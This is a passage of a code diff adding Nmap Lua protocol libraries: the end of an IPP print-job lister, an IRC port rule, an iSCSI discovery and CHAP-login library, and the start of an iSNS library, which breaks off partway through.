+ local request = IPP.Request:new(IPP.OperationID.IPP_GET_JOBS, 1)
+ request:addAttributeGroup(ag)
+
+ local status, response = HTTP.Request( self.host, self.port, tostring(request) )
+ if ( not(response) ) then
+ return status, response
+ end
+
+ local results = {}
+ for _, ag in ipairs(response:getAttributeGroups(IPP.Attribute.IPP_TAG_JOB)) do
+ local uri = ag:getAttributeValue("printer-uri")
+ local printer = uri:match(".*/(.*)$") or "Unknown"
+ -- some jobs have multiple state attributes, so far the ENUM ones have been correct
+ local state = ag:getAttributeValue("job-state", IPP.Attribute.IPP_TAG_ENUM) or ag:getAttributeValue("job-state")
+ -- some jobs have multiple id tag, so far the INTEGER type have shown the correct ID
+ local id = ag:getAttributeValue("job-id", IPP.Attribute.IPP_TAG_INTEGER) or ag:getAttributeValue("job-id")
+ local attr = ag:getAttribute("time-at-creation")
+ local tm = ag:getAttributeValue("time-at-creation")
+ local size = ag:getAttributeValue("job-k-octets") .. "k"
+ local jobname = ag:getAttributeValue("com.apple.print.JobInfo.PMJobName") or "Unknown"
+ local owner = ag:getAttributeValue("com.apple.print.JobInfo.PMJobOwner") or "Unknown"
+
+ results[printer] = results[printer] or {}
+ table.insert(results[printer], {
+ id = id,
+ time = datetime.format_timestamp(tm),
+ state = ( IPP.StateName[tonumber(state)] or "Unknown" ),
+ size = size,
+ owner = owner,
+ jobname = jobname })
+ end
+
+ local output = {}
+ for name, entries in pairs(results) do
+ local t = tab.new(5)
+ tab.addrow(t, "id", "time", "state", "size (kb)", "owner", "jobname")
+ for _, entry in ipairs(entries) do
+ tab.addrow(t, entry.id, entry.time, entry.state, entry.size, entry.owner, entry.jobname)
+ end
+ if ( 1<#t ) then
+ table.insert(output, { name = name, tab.dump(t) })
+ end
+ end
+
+ return output
+ end,
+
+ close = function(self)
+ return self.socket:close()
+ end,
+}
+
+return _ENV;
diff --git a/nselib/irc.lua b/nselib/irc.lua
new file mode 100644
index 0000000..6203436
--- /dev/null
+++ b/nselib/irc.lua
@@ -0,0 +1,37 @@
+---
+-- IRC functions.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+_ENV = stdnse.module("irc", stdnse.seeall)
+
+--- Portrule for matching IRC services
+--
+-- @usage portrule = irc.portrule
+--
+-- @param host
+-- @param port
+-- @return Boolean true if the port is likely to be IRC
+-- @class function
+portrule = (require "shortport").port_or_service(
+ {
+ -- Shodan.io top 3 IRC ports
+ 6667,
+ 6666,
+ 6664,
+ -- other ports in the "ircu" assignment block
+ 6665,
+ 6668,
+ 6669,
+ -- common SSL irc ports
+ 6679,
+ 6697,
+ 7000,
+ -- other common ports
+ 8067,
+ },
+ { "irc", "ircs", "ircs-u", "ircd", "irc-serv" } -- this covers ports 194, 529, and 994
+ )
+
+return _ENV
diff --git a/nselib/iscsi.lua b/nselib/iscsi.lua
new file mode 100644
index 0000000..56d64b9
--- /dev/null
+++ b/nselib/iscsi.lua
@@ -0,0 +1,729 @@
+--- An iSCSI library implementing written by Patrik Karlsson <patrik@cqure.net>
+-- The library currently supports target discovery and login.
+--
+-- The implementation is based on packetdumps and the iSCSI RFC
+-- * http://tools.ietf.org/html/rfc3720
+--
+-- The library contains the protocol message pairs in <code>Packet</code>
+-- E.g. <code>LoginRequest</code> and <code>LoginResponse</code>
+--
+-- Each request can be "serialized" to a string using:
+-- <code>tostring(request)</code>.
+-- All responses can be read and instantiated from the socket by calling:
+-- <code>local status,resp = Response.fromSocket(sock)</code>
+--
+-- In addition the library has the following classes:
+-- * <code>Packet</code>
+-- ** A class containing the request and response packets
+-- * <code>Comm</code>
+-- ** A class used to send and receive packet between the library and server
+-- ** The class handles some of the packet "counting" and value updating
+-- * <code>KVP</code>
+-- ** A key/value pair class that holds key value pairs
+-- * <code>Helper</code>
+-- ** A class that wraps the <code>Comm</code> and <code>Packet</code> classes
+-- ** The purpose of the class is to provide easy access to common iSCSI task
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.2
+-- Created 2010/11/18 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 2010/11/28 - v0.2 - improved error handling, fixed discovery issues
+-- with multiple addresses <patrik@cqure.net>
+
+
+local ipOps = require "ipOps"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("iscsi", stdnse.seeall)
+
+
+Packet = {
+
+ Opcode = {
+ LOGIN = 0x03,
+ TEXT = 0x04,
+ LOGOUT = 0x06,
+ },
+
+ LoginRequest = {
+
+ CSG = {
+ SecurityNegotiation = 0,
+ LoginOperationalNegotiation = 1,
+ FullFeaturePhase = 3,
+ },
+
+ NSG = {
+ SecurityNegotiation = 0,
+ LoginOperationalNegotiation = 1,
+ FullFeaturePhase = 3,
+ },
+
+ --- Creates a new instance of LoginRequest
+ --
+ -- @return instance of LoginRequest
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.immediate = 0
+ o.opcode = Packet.Opcode.LOGIN
+ o.flags = {}
+ o.ver_max = 0
+ o.ver_min = 0
+ o.total_ahs_len = 0
+ o.data_seg_len = 0
+ o.isid = { t=0x01, a=0x00, b=0x0001, c=0x37, d=0 }
+ o.tsih = 0
+ o.initiator_task_tag = 1
+ o.cid = 1
+ o.cmdsn = 0
+ o.expstatsn = 1
+ o.kvp = KVP:new()
+ return o
+ end,
+
+ setImmediate = function(self, b) self.immediate = ( b and 1 or 0 ) end,
+
+ --- Sets the transit bit
+ --
+ -- @param b boolean containing the new transit value
+ setTransit = function(self, b) self.flags.transit = ( b and 1 or 0 ) end,
+
+ --- Sets the continue bit
+ --
+ -- @param b boolean containing the new continue value
+ setContinue = function(self, b) self.flags.continue = ( b and 1 or 0 ) end,
+
+ --- Sets the CSG values
+ --
+ -- @param csg number containing the new NSG value
+ setCSG = function(self, csg) self.flags.csg = csg end,
+
+ --- Sets the NSG values
+ --
+ -- @param nsg number containing the new NSG value
+ setNSG = function(self, nsg) self.flags.nsg = nsg end,
+
+ --- Converts the class instance to string
+ --
+ -- @return string containing the converted instance
+ __tostring = function( self )
+ local reserved = 0
+ local kvps = tostring(self.kvp)
+
+ self.data_seg_len = #kvps
+
+ local pad = 4 - ((#kvps + 48) % 4)
+ pad = ( pad == 4 ) and 0 or pad
+
+ local len = ( self.total_ahs_len << 24 ) + self.data_seg_len
+ local flags = ( ( self.flags.transit or 0 ) << 7 )
+ flags = flags + ( ( self.flags.continue or 0 ) << 6)
+ flags = flags + ( self.flags.nsg or 0 )
+ flags = flags + ( ( self.flags.csg or 0 ) << 2 )
+
+ local opcode = self.opcode + ((self.immediate or 0) << 6)
+
+ local data = string.pack(">BBBB I4 BI2B I2I2 I4 I2I2 I4 I4 I8I8", opcode,
+ flags, self.ver_max, self.ver_min, len,
+ ( self.isid.t << 6 ) + ( self.isid.a & 0x3f),
+ self.isid.b, self.isid.c, self.isid.d, self.tsih,
+ self.initiator_task_tag, self.cid, reserved, self.cmdsn,
+ self.expstatsn, reserved, reserved) .. kvps .. string.rep('\0', pad)
+
+ return data
+ end
+
+ },
+
+ LoginResponse = {
+
+ -- Error messages
+ ErrorMsgs = {
+ [0x0000] = "Success",
+ [0x0101] = "Target moved temporarily",
+ [0x0102] = "Target moved permanently",
+ [0x0200] = "Initiator error",
+ [0x0201] = "Authentication failure",
+ [0x0202] = "Authorization failure",
+ [0x0203] = "Target not found",
+ [0x0204] = "Target removed",
+ [0x0205] = "Unsupported version",
+ [0x0206] = "Too many connections",
+ [0x0207] = "Missing parameter",
+ [0x0208] = "Can't include in session",
+ [0x0209] = "Session type not supported",
+ [0x020a] = "Session does not exist",
+ [0x020b] = "Invalid request during login",
+ [0x0300] = "Target error",
+ [0x0301] = "Service unavailable",
+ [0x0302] = "Out of resources",
+ },
+
+ -- Error constants
+ Errors = {
+ SUCCESS = 0,
+ AUTH_FAILED = 0x0201,
+ },
+
+ --- Creates a new instance of LoginResponse
+ --
+ -- @return instance of LoginResponse
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Returns the error message
+ getErrorMessage = function( self )
+ return Packet.LoginResponse.ErrorMsgs[self.status_code] or "Unknown error"
+ end,
+
+ --- Returns the error code
+ getErrorCode = function( self ) return self.status_code or 0 end,
+
+ --- Creates a LoginResponse with data read from the socket
+ --
+ -- @return status true on success, false on failure
+ -- @return resp instance of LoginResponse
+ fromSocket = function( s )
+ local status, header = s:receive_buf(match.numbytes(48), true)
+
+ if ( not(status) ) then
+ return false, "Failed to read header from socket"
+ end
+
+ local resp = Packet.LoginResponse:new()
+ local len, pos = string.unpack(">I4", header, 5)
+
+ resp.total_ahs_len = len >> 24
+ resp.data_seg_len = len & 0x00ffffff
+ resp.status_code, pos = string.unpack(">I2", header, 37)
+
+ local pad = ( 4 - ( resp.data_seg_len % 4 ) )
+ pad = ( pad == 4 ) and 0 or pad
+
+ local status, data = s:receive_buf(match.numbytes(resp.data_seg_len + pad), true)
+ if ( not(status) ) then
+ return false, "Failed to read data from socket"
+ end
+
+ resp.kvp = KVP:new()
+ for _, kvp in ipairs(stringaux.strsplit( "\0", data )) do
+ local k, v = kvp:match("(.*)=(.*)")
+ if ( v ) then resp.kvp:add( k, v ) end
+ end
+
+ return true, resp
+ end,
+
+ },
+
+ TextRequest = {
+
+ --- Creates a new instance of TextRequest
+ --
+ -- @return instance of TextRequest
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.opcode = Packet.Opcode.TEXT
+ o.flags = {}
+ o.flags.final = 0
+ o.flags.continue = 0
+ o.total_ahs_len = 0
+ o.data_seg_len = 0
+ o.lun = 0
+ o.initiator_task_tag = 1
+ o.target_trans_tag = 0xffffffff
+ o.cmdsn = 2
+ o.expstatsn = 1
+ o.kvp = KVP:new()
+ return o
+ end,
+
+ --- Sets the final bit of the TextRequest
+ setFinal = function( self, b ) self.flags.final = ( b and 1 or 0 ) end,
+
+ --- Sets the continue bit of the TextRequest
+ setContinue = function( self, b ) self.flags.continue = ( b and 1 or 0 ) end,
+
+ --- Converts the class instance to string
+ --
+ -- @return string containing the converted instance
+ __tostring = function(self)
+ local flags = ( self.flags.final or 0 ) << 7
+ flags = flags + ( (self.flags.continue or 0) << 6 )
+
+ local kvps = tostring(self.kvp)
+ kvps = kvps .. string.rep('\0', #kvps % 2)
+ self.data_seg_len = #kvps
+
+ local len = ( self.total_ahs_len << 24 ) + self.data_seg_len
+ local reserved = 0
+ local data = string.pack(">BBI2 I4 I8 I4 I4 I4 I4 I8I8", self.opcode, flags, reserved,
+ len, self.lun, self.initiator_task_tag, self.target_trans_tag,
+ self.cmdsn, self.expstatsn, reserved, reserved) .. kvps
+
+ return data
+ end,
+
+ },
+
+ TextResponse = {
+
+ --- Creates a new instance of TextResponse
+ --
+ -- @return instance of TextResponse
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Creates a TextResponse with data read from the socket
+ --
+ -- @return status true on success, false on failure
+ -- @return instance of TextResponse
+ -- err string containing error message
+ fromSocket = function( s )
+ local resp = Packet.TextResponse:new()
+ local textdata = ""
+
+ repeat
+ local status, header = s:receive_buf(match.numbytes(48), true)
+ if not status then return status, header end
+ local flags, len, pos = string.unpack(">xBxxI4", header)
+ local cont = ( (flags & 0x40) == 0x40 )
+
+ resp.total_ahs_len = len >> 24
+ resp.data_seg_len = len & 0x00ffffff
+
+ local data
+ status, data = s:receive_buf(match.numbytes(resp.data_seg_len), true)
+
+ textdata = textdata .. data
+
+ until( not(cont) )
+
+ resp.records = {}
+
+ local kvps = stringaux.strsplit( "\0", textdata )
+ local record
+
+ -- Each target record starts with one text key of the form:
+ -- TargetName=<target-name-goes-here>
+ -- Followed by zero or more address keys of the form:
+ -- TargetAddress=<hostname-or-ipaddress>[:<tcp-port>],
+ -- <portal-group-tag>
+ for _, kvp in ipairs(kvps) do
+ local k, v = kvp:match("(.*)%=(.*)")
+ if ( k == "TargetName" ) then
+ if ( record ) then
+ table.insert(resp.records, record)
+ record = {}
+ end
+ if ( #resp.records == 0 ) then record = {} end
+ record.name = v
+ elseif ( k == "TargetAddress" ) then
+ record.addr = record.addr or {}
+ table.insert( record.addr, v )
+ elseif ( not(k) ) then
+ -- this should be the ending empty kvp
+ table.insert(resp.records, record)
+ break
+ else
+ stdnse.debug1("ERROR: iscsi.TextResponse: Unknown target record (%s)", k)
+ end
+ end
+
+ return true, resp
+ end,
+ },
+
+ --- Class handling a login request
+ LogoutRequest = {
+
+ --- Creates a new instance of LogoutRequest
+ --
+ -- @return instance of LogoutRequest
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.opcode = Packet.Opcode.LOGOUT
+ o.immediate = 1
+ o.reasoncode = 0
+ o.total_ahs_len = 0
+ o.data_seg_len = 0
+ o.initiator_task_tag = 2
+ o.cid = 1
+ o.cmdsn = 0
+ o.expstatsn = 1
+ return o
+ end,
+
+ --- Converts the class instance to string
+ --
+ -- @return string containing the converted instance
+ __tostring = function(self)
+ local opcode = self.opcode + ((self.immediate or 0) << 6)
+ local reserved = 0
+ local len = ( self.total_ahs_len << 24 ) + self.data_seg_len
+ local data = string.pack(">BBI2 I4 I8 I4 I2I2 I4 I4 I8I8",
+ opcode, (0x80 + self.reasoncode),
+ reserved, len, reserved,self.initiator_task_tag, self.cid,
+ reserved, self.cmdsn, self.expstatsn, reserved, reserved )
+
+ return data
+ end,
+ },
+
+
+ --- Class handling the Logout response
+ LogoutResponse = {
+
+ --- Creates a new instance of LogoutResponse
+ --
+ -- @return instance of LogoutResponse
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Creates a LogoutResponse with data read from the socket
+ --
+ -- @return status true on success, false on failure
+ -- @return instance of LogoutResponse
+ -- err string containing error message
+ fromSocket = function( s )
+ local resp = Packet.LogoutResponse:new()
+ local status, header = s:receive_buf(match.numbytes(48), true)
+ if ( not(status) ) then return status, header end
+ return true, resp
+ end
+
+ }
+}
+
+--- The communication class handles socket reads and writes
+--
+-- In addition it keeps track of both immediate packets and the amount of read
+-- packets and updates cmdsn and expstatsn accordingly.
+Comm = {
+
+ --- Creates a new instance of Comm
+ --
+ -- @return instance of Comm
+ new = function(self, socket)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.expstatsn = 0
+ o.cmdsn = 1
+ o.socket = socket
+ return o
+ end,
+
+ --- Sends a packet and retrieves the response
+ --
+ -- @param out_packet instance of a packet to send
+ -- @param in_class class of the packet to read
+ -- @return status true on success, false on failure
+ -- @return r decoded instance of in_class
+ exchange = function( self, out_packet, in_class )
+
+ local expstatsn = ( self.expstatsn == 0 ) and 1 or self.expstatsn
+
+ if ( out_packet.immediate and out_packet.immediate == 1 ) then
+ self.cmdsn = self.cmdsn + 1
+ end
+
+ out_packet.expstatsn = expstatsn
+ out_packet.cmdsn = self.cmdsn
+
+ self.socket:send( tostring( out_packet ) )
+
+ local status, r = in_class.fromSocket( self.socket )
+ self.expstatsn = self.expstatsn + 1
+
+ return status, r
+ end,
+
+
+}
+
+--- Key/Value pairs class
+KVP = {
+
+ --- Creates a new instance of KVP
+ --
+ -- @return instance of KVP
+ new = function( self )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.kvp = {}
+ return o
+ end,
+
+ --- Adds a key/value pair
+ --
+ -- @param key string containing the key name
+ -- @param value string containing the value
+ add = function( self, key, value )
+ table.insert( self.kvp, {[key]=value} )
+ end,
+
+ --- Gets all values for a specific key
+ --
+ -- @param key string containing the name of the key to retrieve
+ -- @return values table containing all values for the specified key
+ get = function( self, key )
+ local values = {}
+ for _, kvp in ipairs(self.kvp) do
+ for k, v in pairs( kvp ) do
+ if ( key == k ) then
+ table.insert( values, v )
+ end
+ end
+ end
+ return values
+ end,
+
+ --- Returns all key value pairs as string delimited by \0
+ -- eg. "key1=val1\0key2=val2\0"
+ --
+ -- @return string containing all key/value pairs
+ __tostring = function( self )
+ local ret = ""
+ for _, kvp in ipairs(self.kvp) do
+ for k, v in pairs( kvp ) do
+ ret = ret .. ("%s=%s\0"):format(k,v)
+ end
+ end
+ return ret
+ end,
+
+}
+
+--- CHAP authentication class
+CHAP = {
+
+ --- Calculate a CHAP - response
+ --
+ -- @param identifier number containing the CHAP identifier
+ -- @param challenge string containing the challenge
+ -- @param secret string containing the users password
+ -- @return response string containing the CHAP response
+ calcResponse = function( identifier, challenge, secret )
+ return openssl.md5( identifier .. secret .. challenge )
+ end,
+
+}
+
+--- The helper class contains functions with more descriptive names
+Helper = {
+
+ --- Creates a new instance of the Helper class
+ --
+ -- @param host table as received by the script action function
+ -- @param port table as received by the script action function
+ -- @return o instance of Helper
+ new = function( self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host, o.port = host, port
+ return o
+ end,
+
+ --- Connects to the iSCSI target
+ --
+ -- @return status true on success, false on failure
+ -- @return err string containing error message is status is false
+ connect = function( self, socket )
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(10000)
+ local status, err = self.socket:connect(self.host, self.port, "tcp")
+ if ( not(status) ) then return false, err end
+
+ self.comm = Comm:new( self.socket )
+ return true
+ end,
+
+ --- Attempts to discover accessible iSCSI targets on the remote server
+ --
+ -- @return status true on success, false on failure
+ -- @return targets table containing discovered targets
+ -- each table entry is a target table with <code>name</code>
+ -- and <code>addr</code>.
+ -- err string containing an error message is status is false
+ discoverTargets = function( self )
+ local p = Packet.LoginRequest:new()
+
+ p:setTransit(true)
+ p:setNSG(Packet.LoginRequest.NSG.LoginOperationalNegotiation)
+ p.kvp:add( "InitiatorName", "iqn.1991-05.com.microsoft:nmap_iscsi_probe" )
+ p.kvp:add( "SessionType", "Discovery" )
+ p.kvp:add( "AuthMethod", "None" )
+
+ local status, resp = self.comm:exchange( p, Packet.LoginResponse )
+ if ( not(status) ) then
+ return false, ("ERROR: iscsi.Helper.discoverTargets: %s"):format(resp)
+ end
+
+ local auth_method = resp.kvp:get("AuthMethod")[1]
+ if not auth_method then
+ stdnse.debug1("Missing AuthMethod, proceeding as if NONE was sent.")
+ elseif ( auth_method:upper() ~= "NONE" ) then
+ return false, "ERROR: iscsi.Helper.discoverTargets: Unsupported authentication method"
+ end
+
+ p = Packet.LoginRequest:new()
+ p:setTransit(true)
+ p:setNSG(Packet.LoginRequest.NSG.FullFeaturePhase)
+ p:setCSG(Packet.LoginRequest.CSG.LoginOperationalNegotiation)
+ p.kvp:add( "HeaderDigest", "None")
+ p.kvp:add( "DataDigest", "None")
+ p.kvp:add( "MaxRecvDataSegmentLength", "65536")
+ p.kvp:add( "DefaultTime2Wait", "0")
+ p.kvp:add( "DefaultTime2Retain", "60")
+
+ status, resp = self.comm:exchange( p, Packet.LoginResponse )
+
+ p = Packet.TextRequest:new()
+ p:setFinal(true)
+ p.kvp:add( "SendTargets", "All" )
+ status, resp = self.comm:exchange( p, Packet.TextResponse )
+
+ if ( not(resp.records) ) then
+ return false, "iscsi.discoverTargets: response returned no targets"
+ end
+
+ for _, record in ipairs(resp.records) do
+ table.sort( record.addr, function(a, b) local c = ipOps.compare_ip(a:match("(.-):"), "le", b:match("(.-):")); return c end )
+ end
+ return true, resp.records
+ end,
+
+ --- Logs out from the iSCSI target
+ --
+ -- @return status true on success, false on failure
+ logout = function(self)
+ local p = Packet.LogoutRequest:new()
+ local status, resp = self.comm:exchange( p, Packet.LogoutResponse )
+ return status
+ end,
+
+ --- Authenticate to the iSCSI service
+ --
+ -- @param target_name string containing the name of the iSCSI target
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @param auth_method string containing either "None" or "Chap"
+ -- @return status true on success false on failure
+ -- @return response containing the loginresponse or
+ -- err string containing an error message if status is false
+ login = function( self, target_name, username, password, auth_method )
+
+ local auth_method = auth_method or "None"
+
+ if ( not(target_name) ) then
+ return false, "No target name specified"
+ end
+
+ if ( auth_method:upper()~= "NONE" and
+ auth_method:upper()~= "CHAP" ) then
+ return false, "Unknown authentication method"
+ end
+
+ local p = Packet.LoginRequest:new()
+
+ p:setTransit(true)
+ p:setNSG(Packet.LoginRequest.NSG.LoginOperationalNegotiation)
+ p.kvp:add( "InitiatorName", "iqn.1991-05.com.microsoft:nmap_iscsi_probe" )
+ p.kvp:add( "SessionType", "Normal" )
+ p.kvp:add( "TargetName", target_name )
+ p.kvp:add( "AuthMethod", auth_method )
+
+ if ( not(self.comm) ) then
+ return false, "ERROR: iscsi.Helper.login: Not connected"
+ end
+ local status, resp = self.comm:exchange( p, Packet.LoginResponse )
+ if ( not(status) ) then
+ return false, ("ERROR: iscsi.Helper.login: %s"):format(resp)
+ end
+
+ if ( resp.status_code ~= 0 ) then
+ stdnse.debug3("ERROR: iscsi.Helper.login: Authentication failed (error code: %d)", resp.status_code)
+ return false, resp
+ elseif ( auth_method:upper()=="NONE" ) then
+ return true, resp
+ end
+
+ p = Packet.LoginRequest:new()
+ p.kvp:add( "CHAP_A", "5" )
+ status, resp = self.comm:exchange( p, Packet.LoginResponse )
+ if ( not(status) ) then
+ return false, ("ERROR: iscsi.Helper.login: %s"):format(resp)
+ end
+
+ local alg = resp.kvp:get("CHAP_A")[1]
+ if ( alg ~= "5" ) then return false, "Unsupported authentication algorithm" end
+
+ local chall = resp.kvp:get("CHAP_C")[1]
+ if ( not(chall) ) then return false, "Failed to decode challenge" end
+ chall = stdnse.fromhex(chall:sub(3))
+
+ local ident = resp.kvp:get("CHAP_I")[1]
+ if (not(ident)) then return false, "Failed to decoded identifier" end
+ ident = string.char(tonumber(ident))
+
+ local resp = CHAP.calcResponse( ident, chall, password )
+ resp = "0x" .. stdnse.tohex(resp)
+
+ p = Packet.LoginRequest:new()
+ p:setImmediate(true)
+ p:setTransit(true)
+ p:setNSG(Packet.LoginRequest.NSG.LoginOperationalNegotiation)
+ p.kvp:add("CHAP_N", username)
+ p.kvp:add("CHAP_R", resp)
+
+ status, resp = self.comm:exchange( p, Packet.LoginResponse )
+ if ( not(status) ) then
+ return false, ("ERROR: iscsi.Helper.login: %s"):format(resp)
+ end
+
+ if ( resp:getErrorCode() ~= Packet.LoginResponse.Errors.SUCCESS ) then
+ return false, "Login failed"
+ end
+
+ return true, resp
+ end,
+
+ --- Disconnects the socket from the server
+ close = function(self) self.socket:close() end
+
+}
+
+
+
+
+
+return _ENV;
diff --git a/nselib/isns.lua b/nselib/isns.lua
new file mode 100644
index 0000000..4b7531a
--- /dev/null
+++ b/nselib/isns.lua
@@ -0,0 +1,556 @@
+---
+-- A minimal Internet Storage Name Service (iSNS) implementation
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local ipOps = require('ipOps')
+local match = require('match')
+local nmap = require('nmap')
+local stdnse = require('stdnse')
+local string = require "string"
+local table = require('table')
+_ENV = stdnse.module("isns", stdnse.seeall);
+
+iSCSI = {
+
+ NodeType = {
+ TARGET = 1,
+ INITIATOR = 2,
+ CONTROL = 4,
+ }
+
+}
+
+
+Header = {
+
+ VERSION = 1,
+
+ --
+ -- Creates a header instance
+ --
+ -- @param func_id number containing the function ID of the message
+ -- @param pdu_len number containing the length of the PDU
+ -- @param flags number containing the message flags
+ -- @param trans_id number containing the transaction id
+ -- @param seq_id number containing the sequence id
+ -- @return o new class instance
+ new = function(self, func_id, pdu_len, flags, trans_id, seq_id)
+ local o = {
+ ver = Header.VERSION,
+ func_id = func_id,
+ flags = flags,
+ trans_id = trans_id,
+ seq_id = seq_id,
+ pdu_len = pdu_len,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Parses a opaque string and creates a new Header instance
+ --
+ -- @param data opaques string containing the raw data
+ -- @return hdr new instance of Header
+ parse = function(data)
+ local hdr = Header:new()
+
+ hdr.ver, hdr.func_id, hdr.pdu_len, hdr.flags, hdr.trans_id,
+ hdr.seq_id = string.unpack(">I2I2I2I2I2I2", data)
+
+ return hdr
+ end,
+
+ --
+ -- Converts the instance to an opaque string
+ -- @return str containing an opaque string
+ __tostring = function(self)
+ return string.pack(">I2I2I2I2I2I2", self.ver, self.func_id,
+ self.pdu_len, self.flags, self.trans_id, self.seq_id )
+ end
+
+}
+
+Attribute = {
+
+ Tag = {
+ ISNS_TAG_DELIMITER = 0,
+ ISNS_TAG_ENTITY_IDENTIFIER = 1,
+ ISNS_TAG_ENTITY_PROTOCOL = 2,
+ ISNS_TAG_MGMT_IP_ADDRESS = 3,
+ ISNS_TAG_TIMESTAMP = 4,
+ ISNS_TAG_PROTOCOL_VERSION_RANGE = 5,
+ ISNS_TAG_REGISTRATION_PERIOD = 6,
+ ISNS_TAG_ENTITY_INDEX = 7,
+ ISNS_TAG_ENTITY_NEXT_INDEX = 8,
+ ISNS_TAG_ENTITY_ISAKMP_PHASE_1 = 11,
+ ISNS_TAG_ENTITY_CERTIFICATE = 12,
+ ISNS_TAG_PORTAL_IP_ADDRESS = 16,
+ ISNS_TAG_PORTAL_TCP_UDP_PORT = 17,
+ ISNS_TAG_PORTAL_SYMBOLIC_NAME = 18,
+ ISNS_TAG_ESI_INTERVAL = 19,
+ ISNS_TAG_ESI_PORT = 20,
+ ISNS_TAG_PORTAL_INDEX = 22,
+ ISNS_TAG_SCN_PORT = 23,
+ ISNS_TAG_PORTAL_NEXT_INDEX = 24,
+ ISNS_TAG_PORTAL_SECURITY_BITMAP = 27,
+ ISNS_TAG_PORTAL_ISAKMP_PHASE_1 = 28,
+ ISNS_TAG_PORTAL_ISAKMP_PHASE_2 = 29,
+ ISNS_TAG_PORTAL_CERTIFICATE = 31,
+ ISNS_TAG_ISCSI_NAME = 32,
+ ISNS_TAG_ISCSI_NODE_TYPE = 33,
+ ISNS_TAG_ISCSI_ALIAS = 34,
+ ISNS_TAG_ISCSI_SCN_BITMAP = 35,
+ ISNS_TAG_ISCSI_NODE_INDEX = 36,
+ ISNS_TAG_WWNN_TOKEN = 37,
+ ISNS_TAG_ISCSI_NODE_NEXT_INDEX = 38,
+ ISNS_TAG_ISCSI_AUTHMETHOD = 42,
+ ISNS_TAG_PG_ISCSI_NAME = 48,
+ ISNS_TAG_PG_PORTAL_IP_ADDR = 49,
+ ISNS_TAG_PG_PORTAL_TCP_UDP_PORT = 50,
+ ISNS_TAG_PG_TAG = 51,
+ ISNS_TAG_PG_INDEX = 52,
+ ISNS_TAG_PG_NEXT_INDEX = 53,
+ ISNS_TAG_FC_PORT_NAME_WWPN = 64,
+ ISNS_TAG_PORT_ID = 65,
+ ISNS_TAG_FC_PORT_TYPE = 66,
+ ISNS_TAG_SYMBOLIC_PORT_NAME = 67,
+ ISNS_TAG_FABRIC_PORT_NAME = 68,
+ ISNS_TAG_HARD_ADDRESS = 69,
+ ISNS_TAG_PORT_IP_ADDRESS = 70,
+ ISNS_TAG_CLASS_OF_SERVICE = 71,
+ ISNS_TAG_FC4_TYPES = 72,
+ ISNS_TAG_FC4_DESCRIPTOR = 73,
+ ISNS_TAG_FC4_FEATURES = 74,
+ ISNS_TAG_IFCP_SCN_BITMAP = 75,
+ ISNS_TAG_PORT_ROLE = 76,
+ ISNS_TAG_PERMANENT_PORT_NAME = 77,
+ ISNS_TAG_FC4_TYPE_CODE = 95,
+ ISNS_TAG_FC_NODE_NAME_WWNN = 96,
+ ISNS_TAG_SYMBOLIC_NODE_NAME = 97,
+ ISNS_TAG_NODE_IP_ADDRESS = 98,
+ ISNS_TAG_NODE_IPA = 99,
+ ISNS_TAG_PROXY_ISCSI_NAME = 101,
+ ISNS_TAG_SWITCH_NAME = 128,
+ ISNS_TAG_PREFERRED_ID = 129,
+ ISNS_TAG_ASSIGNED_ID = 130,
+ ISNS_TAG_VIRTUAL_FABRIC_ID = 131,
+ ISNS_TAG_SERVER_VENDOR_OUI = 256,
+ ISNS_TAG_DD_SET_ID = 2049,
+ ISNS_TAG_DD_SET_SYMBOLIC_NAME = 2050,
+ ISNS_TAG_DD_SET_STATUS = 2051,
+ ISNS_TAG_DD_SET_NEXT_ID = 2052,
+ ISNS_TAG_DD_ID = 2065,
+ ISNS_TAG_DD_SYMBOLIC_NAME = 2066,
+ ISNS_TAG_DD_MEMBER_ISCSI_INDEX = 2067,
+ ISNS_TAG_DD_MEMBER_ISCSI_NAME = 2068,
+ ISNS_TAG_DD_MEMBER_FC_PORT_NAME = 2069,
+ ISNS_TAG_DD_MEMBER_PORTAL_INDEX = 2070,
+ ISNS_TAG_DD_MEMBER_PORTAL_IP_ADDR = 2071,
+ ISNS_TAG_DD_MEMBER_PORTAL_TCP_UDP_PORT = 2072,
+ ISNS_TAG_DD_FEATURES = 2078,
+ ISNS_TAG_DD_NEXT_ID = 2079,
+ ISNS_VENDOR_SPECIFIC_SERVER_BASE = 257,
+ ISNS_VENDOR_SPECIFIC_ENTITY_BASE = 385,
+ ISNS_VENDOR_SPECIFIC_PORTAL_BASE = 513,
+ ISNS_VENDOR_SPECIFIC_NODE_BASE = 641,
+ ISNS_VENDOR_SPECIFIC_DD_BASE = 1024,
+ ISNS_VENDOR_SPECIFIC_DDSET_BASE = 1281,
+ ISNS_VENDOR_SPECIFIC_OTHER_BASE = 1537,
+ },
+
+ --
+ -- Creates a new Attribute instance
+ --
+ -- @param tag number containing the tag number
+ -- @param val string containing the tag value
+ -- @return o new Attribute instance
+ new = function(self, tag, val)
+ local o = { tag = tag, val = val or "" }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --
+ -- Creates a new Attribute instance
+ --
